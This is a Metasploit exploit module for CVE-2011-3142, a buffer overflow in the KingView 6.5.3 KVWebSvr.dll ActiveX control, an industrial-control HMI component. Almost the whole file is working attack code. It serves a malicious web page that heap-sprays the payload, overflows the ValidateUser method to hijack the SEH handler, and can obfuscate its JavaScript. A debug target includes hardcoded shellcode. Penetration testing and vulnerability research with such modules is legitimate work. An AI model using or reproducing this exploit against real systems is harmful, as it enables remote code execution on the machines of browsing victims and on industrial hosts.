##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'KingView 6.5.3 KVWebSvr.dll ActiveX ValidateUser Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in KingView ActiveX control. 
					Verions of KVWebSvr.dll including 6.5.3 and lower are affected. When passing
					an overly long string to the method "ValidateUser" an attacker can execute
					arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
				[ 
						'Carlos Mario Penagos Hollmann',#vulnerability
						'bobo'#heap spray
				],
			'References'     =>
				[
					[ 'CVE', '2011-3142' ],
					[ 'OSVDB', '72889' ],
					[ 'EDB', '16936' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/16936/' ],
					[ 'URL', 'http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 4096,
					'BadChars'      => "\\x8b\\x93\\x83\\x8a\\x8c\\x8d\\x8f\\x8e\\x87\\x81\\x84\\x86\\x88\\x89\\x90\\x91\\x92\\x94\\x95\\x96\\x97\\x98\\x99\\x82\\x85\\x9f\\x9a\\x9e\\x9d\\x9b\\x9f\\x76",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					#  KingView 6.5.3
					[ 'KngView 6.5.3 Windows XP SP3 eng IE6/7 IE8(no DEP)',
						{ 
							'Ret' => '0x4E20D172' # p/p/r 
						} 
					],
					# POC
					[
						'Debug Target (Crash)', {}
					],
				],
			'DisclosureDate' => 'Mar 7 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
					OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
				], self.class)

	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def auto_target(cli, request)
		agent = request.headers['User-Agent']
		if agent =~ /MSIE 6\.0/
			mytarget = targets[1] # IE 8
		elsif agent =~ /MSIE 7\.0/
			mytarget = targets[1]
		elsif agent =~ /MSIE 8\.0/
			mytarget = targets[1]
		else
			print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		mytarget
	end

	def on_request_uri(cli, request)

		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			unless mytarget
				send_not_found(cli)
				return
			end
		end
		

		@mytarget = mytarget
		@debug = true if mytarget == targets[2]

		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		if @debug
			data = <<-DATA
			<html>
			<script language='javascript'>
			vulnerable = new ActiveXObject('KVWebSvr.UserChecker.1');
			nse="\\xEB\\x06\\x90\\x90";
			seh="\\x4E\\x20\\xD1\\x72";
			nops="\\x90";
			while (nops.length<10){ nops+="\\x90";}
			shell="\\x54\\x5f\\xda\\xdf\\xd9\\x77\\xf4\\x5e\\x56\\x59\\x49\\x49\\x49\\x49\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4c\\x4b\\x5a\\x4c\\x50\\x55\\x4c\\x4b\\x5a\\x4c\\x43\\x58\\x51\\x30\\x51\\x30\\x51\\x30\\x56\\x4f\\x52\\x48\\x52\\x43\\x45\\x31\\x52\\x4c\\x43\\x53\\x4c\\x4d\\x51\\x55\\x5a\\x58\\x56\\x30\\x58\\x38\\x49\\x57\\x4d\\x43\\x49\\x52\\x54\\x37\\x4b\\x4f\\x58\\x50\\x41\\x41";
			junk1="A";
			junk2="A";
			while (junk1.length<624){ junk1+=junk1;}
			junk1=junk1.substring(0,624);
			junk2=junk1;
			while (junk2.length<8073){ junk2+=junk2;}
			arg2=junk1+nse+seh+nops+shell+junk2;
			arg1="Anything";
			vulnerable.ValidateUser(arg1 ,arg2);
			</script>
			</html>
			DATA

			print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
			send_response(cli, data, { 'Content-Type' => 'text/html' })
			return
		end

		# ActiveX parameters
		clsid = "F31C42E3-CBF9-4E5C-BB95-521B4E85060D"
		progid = "KVWebSvr.UserChecker.1"

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		js = %Q|
var nop = unescape("%u9090%u9090");
var shell = unescape("#{shellcode}");
while(nop.length<=0x100000/2)
{
nop+=nop;
}
var slide = new Array();
for(var i=0; i <200; i++)
{
slide[i] = nop+shell;
}
var nse="\\x90\\x90\\x90\\x90";
var seh="\\x0c\\x0c\\x0c\\x0c";
var nops="\\x90";
var vulnerable = new ActiveXObject('#{progid}');
while (nops.length<10){ nops+="\\x90";}
var junk1="A";
var junk2="A";
while (junk1.length<624){ junk1+=junk1;}
junk1=junk1.substring(0,624);
junk2=junk1;
while (junk2.length<8073){ junk2+=junk2;}
arg2=junk1+nse+seh+nops+junk2;
arg1="Anything";
vulnerable.ValidateUser(arg1 ,arg2);
		|
		
		#obfuscate on demand
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		# Generate the final HTML
		content = %Q|<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
